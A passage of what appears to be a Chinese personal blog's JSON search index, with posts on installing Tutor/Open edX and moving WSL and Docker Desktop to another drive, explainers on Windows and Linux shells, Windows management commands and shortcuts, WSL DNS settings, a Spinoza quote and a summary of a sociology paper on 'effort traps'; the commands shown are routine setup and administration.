，也有很多有趣的建议！\u003c/p\u003e","title":"个人网站博客可以尝试的 100 件事"},{"content":" 嫉妒是一种恨，这种恨使人对他人的幸福感到痛苦，对他人的灾殃感到快乐。\n——巴鲁赫·斯宾诺莎 ","permalink":"https://www.clearsec.org/posts/life/%E6%96%87%E6%91%98/","summary":"\u003cblockquote\u003e\n\u003cp\u003e嫉妒是一种恨，这种恨使人对他人的幸福感到痛苦，对他人的灾殃感到快乐。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e     ——巴鲁赫·斯宾诺莎\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/blockquote\u003e","title":"文摘"},{"content":"什么是 Tuter Tuter 是基于 Docker 的 OpenedX 的官方发行版，既可用于生产，也可用于本地开发。辅导的目标是使它易于部署，自定义，升级和规模开放的 edX。Tutor 是可靠的、快速的、可扩展的，并且它已经被用于在世界各地部署数百个 Open edX 平台。\nQuickstart (1-click install) Install the latest stable release of Tutor from pip: pip install \u0026quot;tutor[full]\u0026quot;\nOr download the pre-compiled binary and place the tutor executable in your path:\nsudo curl -L \u0026quot;https://github.com/overhangio/tutor/releases/download/v18.2.0/tutor-$(uname -s)_$(uname -m)\u0026quot; -o /usr/local/bin/tutor sudo chmod 0755 /usr/local/bin/tutor\nRun tutor local launch\nYou’re done!\n如果你需要在 Windows 上通过 WSL 安装 那么请使用以下教程：\n安装 WSL，在 shell 中运行以下命令 wsl --install 查看可供安装的 linux 发行版 wsl --list --online 初始安裝之後安裝其他 Linux 發行版本 wsl --install -d \u0026lt;Distribution Name\u0026gt; 下载 Docker Desktop 并安装 在 WSL linux 中执行上述 Quickstart 命令，需要使用 pre-compiled binary 版本 请确保你的 C 盘有足够的空间运行 WSL 和 Docker，或者将您的 WSL 迁移到其他分区。\n1. 迁移 WSL 发行版（Ubuntu-24.04） 可以使用类似于上文的方法迁移 WSL 发行版（Ubuntu-24.04）到其他分区。\n步骤： 导出当前的 Ubuntu-24.04 发行版：\n打开 PowerShell，并运行以下命令导出 Ubuntu-24.04：\nwsl --export Ubuntu-24.04 D:\\wsl\\ubuntu_backup.tar\n卸载现有的 Ubuntu-24.04：\n在 PowerShell 中执行以下命令卸载发行版，该过程耗时较长：\nwsl --unregister Ubuntu-24.04\n将发行版导入到新位置：\n将 Ubuntu-24.04 导入到新的磁盘分区（例如 D:）。运行以下命令：\nwsl --import Ubuntu-24.04 D:\\wsl\\ubuntu D:\\wsl\\ubuntu_backup.tar\n设置默认 WSL 发行版（可选）：\n如果您希望将迁移后的 Ubuntu 设置为默认 WSL 发行版，运行：\nwsl --setdefault Ubuntu-24.04\n验证：\n启动 WSL，检查 Ubuntu-24.04 是否成功迁移到新的分区：\nwsl\n2. 迁移 Docker Desktop Docker Desktop 使用 WSL 2 后端，因此迁移 Docker Desktop 需要移动它的相关虚拟磁盘文件以及配置。\n步骤： 停止 Docker Desktop：\n在迁移之前，确保 Docker Desktop 已停止运行。\n移动 Docker Desktop 数据：\nDocker Desktop 存储其虚拟机数据和 Docker 镜像在 WSL 2 的 .vhdx 文件中。您可以通过配置 Docker Desktop 更改其存储位置。\n打开 Docker Desktop，进入 Settings \u0026gt; Resources \u0026gt; Advanced。 查找 Disk Image Location 选项，设置一个新的路径，将 Docker 的虚拟磁盘存储到新分区。例如，设置为 D:\\DockerDesktop。 Docker Desktop 会将其虚拟磁盘从默认位置迁移到您指定的新位置。\n移动 Docker Desktop 配置：\n配置文件通常存储在 %APPDATA%\\Docker 目录。将这个目录迁移到新位置并创建一个符号链接指向新目录。使用以下命令：\nMove-Item \u0026quot;$env:APPDATA\\Docker\u0026quot; \u0026quot;D:\\Docker\u0026quot; New-Item -ItemType SymbolicLink -Path \u0026quot;$env:APPDATA\\Docker\u0026quot; -Target \u0026quot;D:\\Docker\u0026quot;\n重新启动 Docker Desktop：\n启动 Docker Desktop，检查是否正常运行并使用新磁盘位置。\nPS C:\\Users\u0026gt; wsl \u0026ndash;list 适用于 Linux 的 Windows 子系统分发: Ubuntu-24.04 (默认) docker-desktop PS C:\\Users\u0026gt; wsl \u0026ndash;export docker-desktop \u0026ldquo;D:\\Docker\\wsl\\docker-desktop-data.tar\u0026rdquo; 系统找不到指定的路径。 错误代码: Wsl/ERROR_PATH_NOT_FOUND PS C:\\Users\u0026gt; wsl \u0026ndash;export docker-desktop \u0026ldquo;D:\\wsl\\docker-desktop-data.tar\u0026rdquo; 正在导出，这可能需要几分钟时间。 操作成功完成。 PS C:\\Users\u0026gt; wsl \u0026ndash;unregister docker-desktop 正在注销。 操作成功完成。 PS C:\\Users\u0026gt; wsl \u0026ndash;import docker-desktop \u0026ldquo;D:\\wsl\\docker\u0026rdquo; \u0026ldquo;D:\\wsl\\docker-desktop-data.tar\u0026rdquo; \u0026ndash;version 2 正在导入，这可能需要几分钟时间。 操作成功完成。\n安装时指定安装目录 Start-Process \u0026ldquo;Docker Desktop Installer.exe\u0026rdquo; -ArgumentList \u0026ldquo;install\u0026rdquo;, \u0026ldquo;\u0026ndash;installation-dir=D:\\Docker\u0026rdquo;\n3. 验证迁移 启动 WSL（Ubuntu-24.04）和 Docker Desktop，确保它们都可以正确启动并工作。 可以通过 docker info 查看 Docker 是否正常运行，并确认磁盘位置是否已经更新。 4. 注意事项： 确保目标磁盘分区有足够的空间，特别是在 Docker 使用大量镜像时。 移动 WSL 和 Docker 的过程中，如果遇到权限问题，确保以管理员身份运行 PowerShell。 ","permalink":"https://www.clearsec.org/posts/tech/%E5%BF%AB%E9%80%9F%E6%90%AD%E5%BB%BAtutor%E6%85%95%E8%AF%BE%E7%B3%BB%E7%BB%9F/","summary":"\u003ch2 id=\"什么是-tuter\"\u003e什么是 Tuter\u003c/h2\u003e\n\u003cp\u003eTuter 是基于 Docker 的 OpenedX 的官方发行版，既可用于生产，也可用于本地开发。辅导的目标是使它易于部署，自定义，升级和规模开放的 edX。Tutor 是可靠的、快速的、可扩展的，并且它已经被用于在世界各地部署数百个 Open edX 平台。\u003c/p\u003e","title":"快速搭建慕课系统"},{"content":"努力陷阱：社会结构化的奋斗与劣势的再生产 这篇文章刊发于《美国社会学杂志》 第130卷，第2期 ，2024年9月。 Effort Traps: Socially Structured Striving and the Reproduction of Disadvantage1 | American Journal of Sociology: Vol 130, No 2\n人们通常认为，越是努力摆脱贫困，成功的机会就越大。然而，一项为期两年的关于低收入黑人男性过渡到成年的研究结果却挑战了这一观点。研究发现，参与者面临着两重“努力陷阱”。首先，学校和生活环境常常迫使他们过度劳累，为了摆脱贫困和实现长期目标。其次，这些努力往往不仅徒劳无功，反而适得其反。参与者为追求这些目标投入过多精力，结果陷入了无法持续的困境，导致身心疲惫和失败。努力陷阱揭示了一种此前未曾认识到的社会机制：低收入家庭中的年轻人失败的原因，不是因为他们不够努力，而恰恰是因为他们的努力本身。\n许多社会科学研究否定了贫困中的年轻人能够轻易改变命运的观点。最近的学术研究也开始质疑“努力必定带来进步”的观念。学者们长期认为，单纯的努力难以克服贫困带来的挑战，但越来越多的研究表明，努力本身可能会带来负面后果，甚至可能成为阻碍。为成功付出的努力，有时会带来错失机会、加大风险或负债累累等问题。当这种努力变得不可持续时，它反而会自我毁灭。越来越多的证据表明，那些看似有益的做法——比如拼命努力——可能会带来“好事做得太过”的问题。这些发现揭示了一个被忽视的过程，即过度的努力可能会加剧贫困。生活在贫困中的人们为了生存和改善命运，不得不付出极大努力。如果他们的努力过度，反而可能适得其反，导致贫困的固化。\n首先，童年时期的贫困经历，使得人们对于人生目标的追求充满了压迫感。其次，学校对努力工作的强调，尤其是在为低收入群体设计的教育课程中，传授了很多误导性的教训——教导学生何时以及如何“更加努力”。第三，生存压力的增加加重了这一问题。这些因素共同作用，使得参与者过度投入，将他们的困境误判为缺乏努力，最终导致过度劳累和失败。研究还发现，某些结构性过程可以帮助参与者避免落入“努力陷阱”，尤其是通过对个人目标的重新审视，这反而促进了他们的成功。\n这项研究揭示了一种反直觉的机会结构：它表面上鼓励个人努力，但最终却惩罚这种努力。长期以来，人们知道，美国社会中“努力工作”这一教义深受种族主义和阶级主义的影响，而且这种教义掩盖了贫困的真正原因。努力陷阱的概念突出了我们社会中对努力工作的美化，及其可能带来的有害后果。努力陷阱不仅直接破坏了成功的尝试，还通过复制不平等的结构，加剧了社会的不公，而非仅仅为其辩护。\n","permalink":"https://www.clearsec.org/posts/read/%E5%8A%AA%E5%8A%9B%E9%99%B7%E9%98%B1%E7%A4%BE%E4%BC%9A%E7%BB%93%E6%9E%84%E5%8C%96%E7%9A%84%E5%A5%8B%E6%96%97%E4%B8%8E%E5%8A%A3%E5%8A%BF%E7%9A%84%E5%86%8D%E7%94%9F%E4%BA%A7/","summary":"\u003ch2 id=\"努力陷阱社会结构化的奋斗与劣势的再生产\"\u003e\u003cstrong\u003e努力陷阱：社会结构化的奋斗与劣势的再生产\u003c/strong\u003e\u003c/h2\u003e\n\u003cp\u003e这篇文章刊发于《美国社会学杂志》  第130卷，第2期 ，2024年9月。\n\u003ca href=\"https://www.journals.uchicago.edu/doi/10.1086/731316\"\u003eEffort Traps: Socially Structured Striving and the Reproduction of Disadvantage1 | American Journal of Sociology: Vol 130, No 2\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e人们通常认为，越是努力摆脱贫困，成功的机会就越大。然而，一项为期两年的关于低收入黑人男性过渡到成年的研究结果却挑战了这一观点。研究发现，参与者面临着两重“努力陷阱”。首先，学校和生活环境常常迫使他们过度劳累，为了摆脱贫困和实现长期目标。其次，这些努力往往不仅徒劳无功，反而适得其反。参与者为追求这些目标投入过多精力，结果陷入了无法持续的困境，导致身心疲惫和失败。努力陷阱揭示了一种此前未曾认识到的社会机制：低收入家庭中的年轻人失败的原因，不是因为他们不够努力，而恰恰是因为他们的努力本身。\u003c/p\u003e","title":"《努力陷阱：社会结构化的奋斗与劣势的再生产》"},{"content":"Windows Shell Windows Shell 是 Windows 操作系统中的一部分，它负责为用户提供与操作系统的交互接口，允许用户通过图形界面或命令行与计算机进行交互。简单来说，Windows Shell 就是一个“外壳”或“界面”，它封装了底层的操作系统功能，提供了用户访问和操作计算机资源的方式。\nWindows Shell 的核心功能 Windows Shell 主要由两个组成部分：图形用户界面（GUI） 和 命令行界面（CLI），每个部分都有不同的功能和用法。\n1. 图形用户界面（GUI） 这是大多数 Windows 用户每天使用的界面，包含桌面、任务栏、窗口、文件资源管理器等。通过 GUI，用户可以直观地操作计算机，执行文件管理、程序启动、网络设置等任务。\n桌面：显示快捷方式、文件夹和文件，用户可以直接与图标交互。 任务栏：显示正在运行的程序和系统状态，可以通过它快速切换、最小化、最大化应用程序窗口。 开始菜单：提供程序、设置和文件的快捷访问。 资源管理器（Explorer）：管理和浏览文件、文件夹，以及访问计算机上的硬盘、网络驱动器等资源。 2. 命令行界面（CLI） 命令行界面是一个更低层次的交互方式，允许用户通过输入命令来与操作系统交互。Windows Shell 包含了多个命令行工具，最常见的是 命令提示符（cmd） 和 PowerShell。\n命令提示符：提供了一个字符界面，用户可以通过输入文本命令来执行任务（如复制文件、管理网络等）。 PowerShell：相比命令提示符，PowerShell 更强大，支持更复杂的脚本和命令，能够管理操作系统、应用程序和自动化任务。 3. Windows Shell 作为执行引擎 启动程序和文件：Windows Shell 负责通过不同的程序（如 explorer.exe）启动应用程序、打开文件夹和执行文件。 系统命令和控制：用户可以通过命令行输入系统命令来执行任务，Windows Shell 解析这些命令并将它们传递给操作系统执行。 文件操作：Windows Shell 提供了管理文件系统的功能，用户可以使用资源管理器（Explorer）拖放文件、复制、删除、重命名等。 主要组成部分 Windows Shell 的核心组件：\n资源管理器（Explorer.exe）：这是一个用户界面程序，用于文件管理、文件浏览等操作。Windows Shell 的大部分图形交互功能都是通过资源管理器来完成的。 任务栏和开始菜单：这些也是 Windows Shell 的一部分，提供快速访问程序、文件和系统设置的界面。 Windows 命令解释器（CMD.EXE）：命令提示符是 Windows Shell 的命令行接口，用于执行各种系统命令和脚本。 Windows Shell 的功能：\n执行程序：通过输入可执行文件的路径或命令来启动应用程序。 文件操作：浏览和操作计算机上的文件和文件夹。 用户界面控制：通过 GUI 提供操作系统的可视化界面（窗口、图标、任务栏等）。 系统设置：提供对系统和用户配置的访问，包含控制面板、Windows 设置等。 命令行操作：通过输入命令行指令执行任务（如 dir、cd、copy 等）。 Shell 脚本支持：用户可以通过 Windows Shell 编写脚本来自动化任务。例如，PowerShell 脚本支持更高级的自动化、批处理、系统管理等。\nWindows Shell 中的常见命令 dir：列出当前目录中的文件和文件夹。 cd：更改当前工作目录。 copy：复制文件。 del：删除文件。 exit：退出命令行。 tasklist：列出当前运行的所有进程。 taskkill：终止指定进程。 Windows Shell 与其他操作系统的 Shell 比较 Windows Shell 类似于 Linux 或 macOS 中的 Shell，但是有一些不同之处。在 Unix 和类 Unix 系统中，通常使用 Bash 或 Zsh 作为命令行解释器，而 Windows 主要使用 cmd.exe 和 PowerShell。\nBash（Linux/macOS）是一个强大的命令行工具，支持许多脚本功能，并且可以与大量的 Linux 工具链集成。 Windows Shell 中的 PowerShell 提供了类似的功能，具有更强的自动化和系统管理能力，特别适合管理 Windows 环境。 Linux Shell Linux Shell 是 Linux 操作系统中的命令行界面，它提供了一种与操作系统进行交互的方式。Shell 既是命令行界面，也是一种解释器，负责读取和执行用户输入的命令，管理文件、程序和系统资源。Shell 是用户与 Linux 系统交互的一个重要组成部分，广泛应用于系统管理、脚本编程和自动化任务。\n1. Linux Shell 的作用 Linux Shell 主要有以下几个作用：\n命令解释器：Shell 解释并执行用户输入的命令（如查看文件、启动程序、管理文件系统等）。 脚本语言：Shell 提供了强大的脚本编程能力，用户可以编写 Shell 脚本来自动化重复的任务。 用户交互接口：Shell 是用户与 Linux 操作系统交互的主要接口，尤其是对于服务器环境或没有图形界面的系统。 2. 常见的 Linux Shell 类型 Linux 支持多种 Shell，不同的 Shell 提供了不同的功能和语法支持。以下是一些常见的 Shell 类型：\n1. Bash (Bourne Again Shell) Bash 是最常见的 Linux Shell，默认情况下几乎所有 Linux 发行版都使用它。 它是 Bourne Shell（sh）的扩展，提供了更丰富的功能和更灵活的语法。 特点：命令补全、命令历史、脚本编写、内建命令等。 1 2 # 查看当前使用的Shell echo $SHELL 2. Zsh (Z Shell) Zsh 是一种功能强大的 Shell，拥有许多比 Bash 更先进的特性，如自动补全、丰富的命令提示符等。 特点：更强大的文件名补全、用户界面增强、支持插件等。 1 2 # 切换到 zsh zsh 3. Fish (Friendly Interactive Shell) Fish 是一种用户友好的 Shell，重点在于易用性和可交互性。它默认提供了命令提示、自动补全和语法高亮。 特点：语法高亮、自动建议、内置功能丰富，配置简单。 1 2 # 切换到 fish fish 4. Dash (Debian Almquist Shell) Dash 是一种轻量级的 Shell，通常用于脚本执行，特别是用于系统启动脚本和其他需要快速执行的环境中。 它的语法类似于 Bourne Shell，专注于速度和简洁。 5. Ksh (Korn Shell) Ksh 是一种强大的 Shell，功能丰富，支持脚本编程并提供与 Bourne Shell 类似的语法。 它主要被系统管理员和开发人员用于脚本和自动化任务。 6. Tcsh (TENEX C Shell) Tcsh 是 C Shell（csh）的一个增强版本，提供了命令补全和历史记录功能。 特点：类似 C 语言的语法、历史命令、别名等。 3. 常用的 Linux Shell 命令 Linux Shell 提供了大量的命令，可以用来管理文件、进程、系统资源等。以下是一些常用的 Shell 命令：\n文件管理相关 ls：列出目录内容。\n1 2 3 ls # 列出当前目录下的文件 ls -l # 以详细列表格式显示文件 ls -a # 显示所有文件，包括隐藏文件 cd：更改当前工作目录。\n1 2 cd /home/user # 切换到 /home/user 目录 cd ~ # 切换到当前用户的主目录 cp：复制文件或目录。\n1 2 cp file1.txt file2.txt # 复制文件 cp -r dir1/ dir2/ # 复制目录及其内容 mv：移动或重命名文件或目录。\n1 2 mv oldname.txt newname.txt # 重命名文件 mv file1.txt /home/user/ # 移动文件到指定目录 rm：删除文件或目录。\n1 2 rm file.txt # 删除文件 rm -r directory # 删除目录及其内容 系统管理相关 top：显示当前系统的资源使用情况（CPU、内存、进程等）。\n1 top ps：查看当前运行的进程。\n1 2 ps aux # 查看所有进程 ps -ef # 另一种显示进程信息的方式 df：查看磁盘空间使用情况。\n1 df -h # 显示人类可读格式的磁盘空间使用 du：查看目录或文件占用的磁盘空间。\n1 du -sh * # 查看当前目录下每个文件或目录的大小 kill：终止进程。\n1 2 kill 1234 # 终止进程 ID 为 1234 的进程 kill -9 1234 # 强制终止进程 网络管理相关 ping：测试网络连接。\n1 ping www.google.com # 测试与 Google 的连接 ifconfig 或 ip：查看和配置网络接口。\n1 2 ifconfig # 查看网络接口信息 ip a # 显示网络接口的详细信息 wget：下载文件。\n1 wget http://example.com/file.txt # 从 URL 下载文件 用户管理相关 whoami：显示当前登录的用户名。\n1 whoami chmod：更改文件权限。\n1 chmod 755 file.sh # 赋予文件执行权限 chown：更改文件的所有者。\n1 chown user:group file.txt # 更改文件的所有者 查找和筛选 grep：根据模式查找文件内容。\n1 grep \u0026#39;pattern\u0026#39; file.txt # 在文件中查找匹配 \u0026#39;pattern\u0026#39; 的行 find：查找文件。\n1 find /path/to/dir -name \u0026#39;file.txt\u0026#39; # 查找特定文件 4. Shell 脚本编程 Linux Shell 不仅仅是一个命令行工具，它还是一种脚本语言，用户可以编写脚本来自动化任务。一个简单的 Shell 脚本如下：\n1 2 3 #!/bin/bash echo \u0026#34;Hello, World!\u0026#34; # 输出文本 保存为 script.sh 文件后，可以通过以下命令执行：\n1 2 chmod +x script.sh # 赋予执行权限 ./script.sh # 执行脚本 Shell 脚本可以包括变量、条件语句、循环、函数等，适合用来处理各种系统管理任务，如备份、文件处理、日志监控等。\n5. Shell 的高级特性 管道（Pipes）：通过管道符 | 将一个命令的输出作为下一个命令的输入。\n1 ls | grep \u0026#39;pattern\u0026#39; # 列出文件并筛选包含 \u0026#39;pattern\u0026#39; 的行 重定向：将命令输出重定向到文件或设备。\n1 echo \u0026#34;Hello\u0026#34; \u0026gt; file.txt # 将输出写入文件 作业控制：后台运行命令、暂停和恢复任务。\n1 2 3 command \u0026amp; # 在后台运行命令 jobs # 查看后台任务 fg %1 # 恢复第一个后台任务 小结 Linux Shell 是与 Linux 系统交互的核心工具，既支持命令行操作，也支持脚本编程。它为系统管理、任务自动化、程序调度和问题排查提供了强大的功能。Bash 是最常用的 Shell，但根据需求，用户也可以选择 Zsh、Fish 等其他更具特色的 Shell。掌握 Linux Shell 是成为 Linux 高级用户和系统管理员的重要技能。\n","permalink":"https://www.clearsec.org/posts/tech/shell%E8%A7%A3%E6%83%91/","summary":"\u003ch1 id=\"windows-shell\"\u003eWindows Shell\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eWindows Shell\u003c/strong\u003e 是 Windows 操作系统中的一部分，它负责为用户提供与操作系统的交互接口，允许用户通过图形界面或命令行与计算机进行交互。简单来说，Windows Shell 就是一个“外壳”或“界面”，它封装了底层的操作系统功能，提供了用户访问和操作计算机资源的方式。\u003c/p\u003e","title":"Shell解惑"},{"content":"很显然，掌握 Windows 快捷键有助于提高效率，当然更让你像专家。\n甚至有些考试会考，我也不知道为什么会有考试考如何使用命令行打开Windows防火墙:)\n[!NOTE] 如果你不知道，那么以下是答案： wf.msc 防火墙高级安全窗口\ncontrol firewall.cpl 直接打开“控制面板”中的 Windows 防火墙设置界面，而不是高级安全窗口\n如果你开始好奇了，那么下面这些命令可以试一下：\ndevmgmt.msc – 设备管理器\ndiskmgmt.msc – 磁盘管理\ncompmgmt.msc – 计算机管理 \u0026ndash; 集合，包括事件查看器、磁盘管理、共享文件夹管理、服务\nservices.msc – 服务管理\neventvwr.msc – 事件查看器\nmsconfig – 系统配置 \u0026ndash; 启动和配置系统的启动项、服务项，以及进行系统诊断和排障\nsecpol.msc – 本地安全策略 \u0026ndash; 集合，包括安全选项、用户权限、审核策略等\ngpedit.msc – 本地组策略编辑器 \u0026ndash; 管理和配置本地计算机上的组策略\nrsop.msc – 结果集操作策略 \u0026ndash; 查看当前计算机和用户的组策略设置\nlusrmgr.msc – 本地用户和组 \u0026ndash; 适用于 Windows 专业版及以上版本\ntaskschd.msc – 任务计划程序 \u0026ndash; 管理定时任务，自动执行程序和脚本\ncontrol – 控制面板\nfirewall.cpl – 打开防火墙设置\nncpa.cpl – 网络连接\nappwiz.cpl – 程序和功能 \u0026ndash; 管理已安装的程序、更新或卸载软件\ninetcpl.cpl – Internet 选项 \u0026ndash; 管理浏览器的连接、隐私、内容等设置\nsysdm.cpl – 系统属性 \u0026ndash; 计算机名称、硬件、系统保护、远程设置等\nwdc.cpl – Windows Defender 防病毒设置\nmmc – 控制台（管理单元）\n指南 预定义组合键 | Microsoft Learn\n辅助功能键 组合键 WEKF_PredefinedKey.Id 行为 Windows 徽标键 + U Win+U 打开轻松访问中心。 应用程序键 下表包含用于控制应用程序状态的预定义组合键：\n组合键 WEKF_PredefinedKey.Id 行为 Alt + F4 Alt+F4 关闭应用程序。 Ctrl+F4 Ctrl+F4 关闭窗口（标签页）。 Windows 徽标键 + F1 Win+F1 打开 Windows 帮助。 安全键 下表包含用于 OS 安全性的预定义组合键：\n组合键 WEKF_PredefinedKey.Id 行为 Ctrl + Alt + Delete Ctrl+Alt+Del 打开 Windows 安全中心屏幕。 Ctrl + Shift + Esc Shift+Ctrl+Esc 打开任务管理器。 Windows 徽标键 + L Win+L 锁定设备。 Shell 键 下表包含用于常规 UI 控制的预定义组合键：\n组合键 WEKF_PredefinedKey.Id 行为 Alt + 空格键 Alt + 空格键 为活动窗口打开快捷方式菜单。 Ctrl + Esc Ctrl+Esc 打开开始屏幕。 Ctrl + Windows 徽标键 + F Ctrl+Win+F 打开“查找计算机”。 Windows 徽标键 + Break Win+Break 打开“系统”对话框。 Windows 徽标键 + E Win + E 打开 Windows 资源管理器。 Windows + F Win+F 打开搜索。 Windows 徽标键 + P Win+P 循环浏览演示模式。 还会阻止使用“Windows 徽标键 + Shift + P”和“Windows 徽标键+ Ctrl + P”组合键。 Windows 徽标键 + R Win+R 打开运行对话框。 Alt + Tab Alt+Tab 切换任务。 还会阻止使用 Alt + Shift + Tab 组合键。 Ctrl+Tab Ctrl+Tab 切换窗口。 Windows 徽标键 + Tab Win+Tab 循环浏览 Microsoft Store 应用。 同时阻止使用 Windows 徽标键 + Ctrl + Tab 和 Windows 徽标键 + Shift + Tab 组合键。 Windows 徽标键 + D Win+D 显示桌面。 Windows 徽标键 + M Win+M 最小化所有窗口。 Windows 徽标键 + Home Win+Home 最小化或还原所有非活动窗口。 Windows 徽标键 + T Win+T 将焦点设置于任务栏并循环浏览程序。 Windows 徽标键 + B Win+B 将焦点设置到通知区域。 Windows 徽标键 + 减号 Win+- 缩小。 Windows 徽标键 + 加号 Win++ 放大。 Windows 徽标键 + Esc Win+Esc 关闭放大镜应用程序。 Windows 徽标键 + 向上键 Win+Up 最大化活动窗口。 Windows 徽标键 + 向下键 Win+Down 最小化活动窗口。 Windows 徽标键 + 向左键 Win+Left 将活动窗口贴靠到屏幕的左半部分。 Windows 徽标键 + 向右键 Win+Right 将活动窗口贴靠到屏幕的右半部分。 Windows 徽标键 + Shift + 向上键 Win+Shift+Up 在垂直方向将活动窗口最大化。 Windows 徽标键 + Shift + 向下键 Win+Shift+Down 最小化活动窗口。 Windows 徽标键 + Shift + 向左键 Win+Shift+Left 将活动窗口移到左侧显示器。 Windows 徽标键 + Shift + 向右键 Win+Shift+Right 将活动窗口移到右侧显示器。 Windows 徽标键 + 空格键 Win+Space 切换布局。 Windows 徽标键 + O Win+O 锁定设备方向。 Windows 徽标键 + 向上翻页 Win+PageUp 将 Microsoft Store 应用移到左侧显示器。 Windows 徽标键 + 向下翻页 Win+PageDown 将 Microsoft Store 应用移到右侧显示器。 Windows 徽标键 + 句点 Win+. 将当前屏幕对齐到左侧或右侧装订线。 还会阻止使用 Windows 徽标键 + Shift + 句点组合键。 Windows 徽标键 + C Win+C 在聆听模式下激活 Cortana（在用户通过 UI 启用快捷方式后）。 Windows 徽标键 + I Win+I 打开设置超级按钮。 Windows 徽标键 + K Win+K 打开连接超级按钮。 Windows 徽标键 + H Win+H 开始听写。 Windows 徽标键 + Q Win+Q 打开搜索超级按钮。 Windows 徽标键 + W Win+W 打开 Windows Ink 工作区。 Windows 徽标键 + Z Win+Z 打开应用栏。 Windows 徽标键 + / Win+/ 打开输入法编辑器 (IME)。 Windows 徽标键 + J Win+J 在已对齐和已填充的应用程序之间交换。 Windows 徽标键 + 逗号 Win+, 速览桌面。 Windows 徽标键 + V Win+V 按相反顺序循环切换 toast。 ","permalink":"https://www.clearsec.org/posts/tech/windows-%E5%BF%AB%E6%8D%B7%E9%94%AE%E6%8C%87%E5%8D%97/","summary":"\u003cp\u003e很显然，掌握 Windows 快捷键有助于提高效率，当然更让你像专家。\u003c/p\u003e\n\u003cp\u003e甚至有些考试会考，我也不知道为什么会有考试考如何使用命令行打开Windows防火墙:)\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!NOTE] 如果你不知道，那么以下是答案：\nwf.msc 防火墙高级安全窗口\u003cbr\u003e\ncontrol firewall.cpl 直接打开“控制面板”中的 Windows 防火墙设置界面，而不是高级安全窗口\u003cbr\u003e\n\u003cstrong\u003e如果你开始好奇了，那么下面这些命令可以试一下：\u003c/strong\u003e\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003edevmgmt.msc\u003c/code\u003e\u003c/strong\u003e – 设备管理器\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003ediskmgmt.msc\u003c/code\u003e\u003c/strong\u003e – 磁盘管理\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003ecompmgmt.msc\u003c/code\u003e\u003c/strong\u003e – 计算机管理 \u0026ndash; 集合，包括事件查看器、磁盘管理、共享文件夹管理、服务\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003eservices.msc\u003c/code\u003e\u003c/strong\u003e – 服务管理\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003eeventvwr.msc\u003c/code\u003e\u003c/strong\u003e – 事件查看器\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003emsconfig\u003c/code\u003e\u003c/strong\u003e – 系统配置 \u0026ndash; 启动和配置系统的启动项、服务项，以及进行系统诊断和排障\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003esecpol.msc\u003c/code\u003e\u003c/strong\u003e – 本地安全策略 \u0026ndash; 集合，包括安全选项、用户权限、审核策略等\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003egpedit.msc\u003c/code\u003e\u003c/strong\u003e – 本地组策略编辑器 \u0026ndash; 管理和配置本地计算机上的组策略\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003ersop.msc\u003c/code\u003e\u003c/strong\u003e – 结果集操作策略 \u0026ndash; 查看当前计算机和用户的组策略设置\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003elusrmgr.msc\u003c/code\u003e\u003c/strong\u003e – 本地用户和组 \u0026ndash; 适用于 Windows 专业版及以上版本\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003etaskschd.msc\u003c/code\u003e\u003c/strong\u003e – 任务计划程序 \u0026ndash; 管理定时任务，自动执行程序和脚本\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003econtrol\u003c/code\u003e\u003c/strong\u003e – 控制面板\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003efirewall.cpl\u003c/code\u003e\u003c/strong\u003e – 打开防火墙设置\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003encpa.cpl\u003c/code\u003e\u003c/strong\u003e – 网络连接\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003eappwiz.cpl\u003c/code\u003e\u003c/strong\u003e – 程序和功能 \u0026ndash; 管理已安装的程序、更新或卸载软件\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003einetcpl.cpl\u003c/code\u003e\u003c/strong\u003e – Internet 选项 \u0026ndash; 管理浏览器的连接、隐私、内容等设置\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003esysdm.cpl\u003c/code\u003e\u003c/strong\u003e – 系统属性 \u0026ndash; 计算机名称、硬件、系统保护、远程设置等\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003ewdc.cpl\u003c/code\u003e\u003c/strong\u003e – Windows Defender 防病毒设置\u003cbr\u003e\n\u003cstrong\u003e\u003ccode\u003emmc\u003c/code\u003e\u003c/strong\u003e – 控制台（管理单元）\u003c/p\u003e","title":"Windows 快捷键指南"},{"content":"WSL 静态 DNS 设置 WSL Ubuntu24.04的DNS配置不在 /etc/systemd/resolved.conf，而在/etc/resolv.conf。\nwsl 2 使用的 DNS 解析服务器设置在文件：/etc/resolv.conf 内设置，这是一个 link 文件，真正的文件路径是：/run/resolvconf/resolv.conf，这个文件是每次 wsl 启动时自动生成的，内容如下：\n有时候分配的服务器地址是无效的，如：127.0.0.53，使用 ping 来测试发现提示无法解析地址。需要设置一个固定的 DNS 地址，方法如下：\n新建文件：/etc/wsl.conf，内容如下： 1 2 [network] generateResolvConf = false 以上配置好就不会自动创建 /run/resolvconf/resolv.conf 文件了。\n退出 wsl，关机然后重新启动：\n1 2 3 exit wsl --shutdown wsl 然后编辑删除 link 文件：/etc/resolv.conf:\n1 rm /etc/resolv.conf 然后新建 /etc/resolv.conf 文件，内容如下，可自定义 nameserver 地址：\n1 nameserver 114.114.114.114 关闭 WSL 自动挂起 为了节约系统资源，如果您关闭了WSL的Console，实列会自动关闭。如果您没有系统资源的困扰的话，可以通过VBS打开WSL 实例，让它处于等待输入的状态，不再关闭。\n方法如下：\n打开记事本输入下列内容：（WSL版本需替换为你使用的发行版名称。版本可以使用wsl \u0026ndash;list \u0026ndash;verbose命令来查看）\n1 2 set 